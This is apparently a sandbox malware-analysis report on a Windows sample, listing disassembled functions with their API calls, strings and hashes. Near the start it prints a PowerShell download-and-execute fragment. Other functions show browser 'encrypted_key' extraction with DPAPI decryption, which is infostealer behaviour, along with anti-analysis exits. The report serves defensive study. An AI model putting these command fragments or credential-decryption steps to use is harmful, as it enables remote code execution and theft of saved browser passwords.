<, xrefs: 00412D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412D04
')", xrefs: 00412CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412CC4

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 87b9259d62867265d03d3ccf5b91407801732a693daf99fd9e22ca77cb073214
Instruction ID: 8aa8f54ed0a99c91faffa02525c95fa844b6858a6ee3c68abfdd9097d7126834
Opcode Fuzzy Hash: 87b9259d62867265d03d3ccf5b91407801732a693daf99fd9e22ca77cb073214
Instruction Fuzzy Hash: 08410E71D112089ADB14FBA1C991FDDB774AF10314F50401EE016A7192DF786ADBCFA9

Function 040A1487 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 040A14A5
__aulldiv.LIBCMT ref: 040A14BF
__aulldiv.LIBCMT ref: 040A14CD
ExitProcess.KERNEL32 ref: 040A14FB

Strings

@, xrefs: 040A149A

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: b5684d820d0320b11381d73fbe87d5e8c3027c0d287ff9393c26748eaca1cbe5
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 8901FBB0950308FAEB10EFE4DC89BDDBAB9AB05709F208448E7057B2C0D6B4A5558759

Function 040AA077 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,00421264,00000003), ref: 040AA094

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040B0CC7: memset.MSVCRT ref: 040B0E83
Part of subcall function 040B0CC7: lstrcat.KERNEL32(?,00000000), ref: 040B0E9C
Part of subcall function 040B0CC7: lstrcat.KERNEL32(?,00420D7C), ref: 040B0EAE
Part of subcall function 040B0CC7: lstrcat.KERNEL32(?,00000000), ref: 040B0EC4
Part of subcall function 040B0CC7: lstrcat.KERNEL32(?,00420D80), ref: 040B0ED6

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

memcmp.MSVCRT(?,00421114,00000003), ref: 040AA116
memset.MSVCRT ref: 040AA14F
LocalAlloc.KERNEL32(00000040,?), ref: 040AA1A8

Strings

@, xrefs: 040AA158

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpymemcmpmemset$AllocLocal
String ID: @
API String ID: 1977917189-2766056989
Opcode ID: 20785839e506e71d0d4179be974b45f7974db19f2062455c4e4fb0a2237278dd
Instruction ID: b2eeb875bddab68cfbd1641f7a1f02af3307542a8a7eb18993bf5fcc7c2985ec
Opcode Fuzzy Hash: 20785839e506e71d0d4179be974b45f7974db19f2062455c4e4fb0a2237278dd
Instruction Fuzzy Hash: 06613931B00248ABEB24EFE8CD95FED77B5AF44308F408118E94AAB590DB747A15CF95

Function 00410D90 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410DB8
strtok_s.MSVCRT ref: 00410EFD

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,024B6258,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 157972442aab98f8943623bffcefb76fc7b802db09b007e8cca3bf4835712916
Instruction ID: a77fe6eef144f8be1650d890f93c6b8163d42d0b0f361fe6991083760d0b9acb
Opcode Fuzzy Hash: 157972442aab98f8943623bffcefb76fc7b802db09b007e8cca3bf4835712916
Instruction Fuzzy Hash: 91517FB4A40209EFCB08CF95D595AEE77B5FF44308F10805AE802AB351D774EAD1CB95

Function 00409CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

, xrefs: 00409DC1
DPAPI, xrefs: 00409D89
"encrypted_key":", xrefs: 00409D30

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 68f47abcc5eb6623e645a076bb0a9bdec2c93405b0c0c50e63f4af5dcb573e5c
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 68f47abcc5eb6623e645a076bb0a9bdec2c93405b0c0c50e63f4af5dcb573e5c
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 040BCDA0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

IsValidCodePage.KERNEL32 ref: 040BCDD8
GetCPInfo.KERNEL32(?,?), ref: 040BCDEB
memset.MSVCRT ref: 040BCE03
setSBUpLow.LIBCMT ref: 040BCED9

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValidmemset
String ID:
API String ID: 703783727-0
Opcode ID: a2b74ec6b56f4fd1bb42d268d048981a4065a41abb9520184a3cb1684c992875
Instruction ID: 8ce912bfb2b6a3c0cbbea398dcde354e4b5401b22da50113d40542c719704cc5
Opcode Fuzzy Hash: a2b74ec6b56f4fd1bb42d268d048981a4065a41abb9520184a3cb1684c992875
Instruction Fuzzy Hash: D231E930A0C291DAF7658F74CC542F97FE09B45315B0841AED8D2EF191D278E405D7D9

Function 040B6B87 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 040B6BD3
sscanf.NTDLL ref: 040B6C00
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 040B6C19
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 040B6C27
ExitProcess.KERNEL32 ref: 040B6C41

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: aadf5676f7027d7b9e1150d64898f7b292d6df214c2b0f712edb9653bf63e1a7
Instruction ID: 6f71091dbe6cec70548dfeda061be9c758d067e00736cdd836620c2d3115940c
Opcode Fuzzy Hash: aadf5676f7027d7b9e1150d64898f7b292d6df214c2b0f712edb9653bf63e1a7
Instruction Fuzzy Hash: 4B21E7B5D14208ABDF08EFE4D9459EEB7B6FF48304F04852EE406B3250EB356604CBA9

Function 040B8067 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 040B809E
RtlAllocateHeap.NTDLL(00000000), ref: 040B80A5
RegOpenKeyExA.ADVAPI32(80000002,0064A1D4,00000000,00020119,?), ref: 040B80C5
RegQueryValueExA.ADVAPI32(?,0064A4EC,00000000,00000000,000000FF,000000FF), ref: 040B80E6
RegCloseKey.ADVAPI32(?), ref: 040B80F9

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: 96c5565af416776a8a6e4d922ae1c30666a96633a0e9cbd333cdca9160e386e4
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: B4116DB6A84209BBD710DFD4DC4AFAFB7BDEB45700F008119F615A7290D77468008BA2

Function 00417E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
HeapAlloc.KERNEL32(00000000), ref: 00417E3E
RegOpenKeyExA.ADVAPI32(80000002,024BA200,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.ADVAPI32(?,024EBF70,00000000,00000000,000000FF,000000FF), ref: 00417E7F
RegCloseKey.ADVAPI32(?), ref: 00417E92

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 040B7987 Relevance: 7.5, APIs: 5, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 040B799B
RtlAllocateHeap.NTDLL(00000000), ref: 040B79A2
RegOpenKeyExA.ADVAPI32(80000002,0064A398,00000000,00020119,040B7920), ref: 040B79C2
RegQueryValueExA.ADVAPI32(040B7920,00420AAC,00000000,00000000,?,000000FF), ref: 040B79E1
RegCloseKey.ADVAPI32(040B7920), ref: 040B79EB

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: e4cadee69631d521f2e95121bee0af9410f6813621c68f5cf0e0faa3361d2e94
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: A40144B9A40308FFEB10DFE0DC49FAEB7B9EB44705F104159FA05A7280D67465008F91

Function 00419260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(024EBD08,?,?,?,0041140C,?,024EBD08,00000000), ref: 0041926C
lstrcpyn.KERNEL32(0064AB88,024EBD08,024EBD08,?,0041140C,?,024EBD08), ref: 00419290
lstrlenA.KERNEL32(?,?,0041140C,?,024EBD08), ref: 004192A7
wsprintfA.USER32 ref: 004192C7

Strings

%s%s, xrefs: 004192B5

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction ID: a59194731e19cd62a1114d9db51b1d7a77f87ed08144ed5303bdb74f02b8d175
Opcode Fuzzy Hash: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction Fuzzy Hash: FD010879580108FFCB04DFECC998EAE7BBAEB49394F108548F9098B300C635AA40DB95

Function 040A1507 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 040A151B
RtlAllocateHeap.NTDLL(00000000), ref: 040A1522
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 040A153E
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 040A155C
RegCloseKey.ADVAPI32(?), ref: 040A1566

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: 657df05b0dc9b644e4283646bca094419e6f485499820d88abc285ef9b7903a5
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: D0011DBDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA0597280D674AA018F91

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 040BC9A9 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 040BC9B5

Part of subcall function 040BC206: __getptd_noexit.LIBCMT ref: 040BC209
Part of subcall function 040BC206: __amsg_exit.LIBCMT ref: 040BC216

__getptd.LIBCMT ref: 040BC9CC
__amsg_exit.LIBCMT ref: 040BC9DA
__lock.LIBCMT ref: 040BC9EA
__updatetlocinfoEx_nolock.LIBCMT ref: 040BC9FE

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 82266bfdd90354e846418a99e827ba5feeba1708c4c917e9cb387fe0226bacf2
Instruction ID: b4a11c7d6be46aef2f56712529e079aa66b84805e8d0ea0af989861a2ead82bb
Opcode Fuzzy Hash: 82266bfdd90354e846418a99e827ba5feeba1708c4c917e9cb387fe0226bacf2
Instruction Fuzzy Hash: B5F06D32A487119BF761BBA8980ABDD33A0AF0072CF14015ED8D4B66D0DB647541DBDE

Function 0041C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__lock.LIBCMT ref: 0041C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: efdb286082815a34fe65cdf39a39efb78846e04f1ab798c9691acb082f02800f
Instruction ID: 747b7d94d78dcab7bc4ad9ba185e37b4c367e78d81b7dca89f1d9f587bf674ed
Opcode Fuzzy Hash: efdb286082815a34fe65cdf39a39efb78846e04f1ab798c9691acb082f02800f
Instruction Fuzzy Hash: EBF09632A817119BD7207BB95C467DE33A09F00728F24414FF414A62D2CBAC59D29E9E

Function 00410740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,024E9220), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,024E9130), ref: 00410866
StrCmpCA.SHLWAPI(00000000,024E9290), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410A40, 00410A54, 00410803, 0041091B, 00410806, 0041091E, 00410A43

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: adf29671ce65ade073c3051981e201f5f0d13682d3ba44de7957ea85e479774a
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: adf29671ce65ade073c3051981e201f5f0d13682d3ba44de7957ea85e479774a
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,024E9220), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,024E9130), ref: 00410866
StrCmpCA.SHLWAPI(00000000,024E9290), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410803, 0041091B, 00410806, 0041091E

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: 81950366ffcbbcdde432f001d7dc92a417181035050c38d9f2a7a554d623803e
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: 81950366ffcbbcdde432f001d7dc92a417181035050c38d9f2a7a554d623803e
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 040B6897 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 040B68CA

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

ShellExecuteEx.SHELL32(0000003C), ref: 040B698D
ExitProcess.KERNEL32 ref: 040B69BC

Strings

<, xrefs: 040B6940

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 4ae30b859fc942c9587f152936d11ec8aa2d9d08854ccb4cb357e31b47128d92
Instruction ID: 4c6abe60d9bd2103bc5cf1089bc35b8569d73fced2b0a9ff0185ee9c7393d3b0
Opcode Fuzzy Hash: 4ae30b859fc942c9587f152936d11ec8aa2d9d08854ccb4cb357e31b47128d92
Instruction Fuzzy Hash: 89314FB1901218ABEB14EBA0DD95FDEB779AF44308F404189E34576190DF747B88CF99

Function 00416630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416663

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
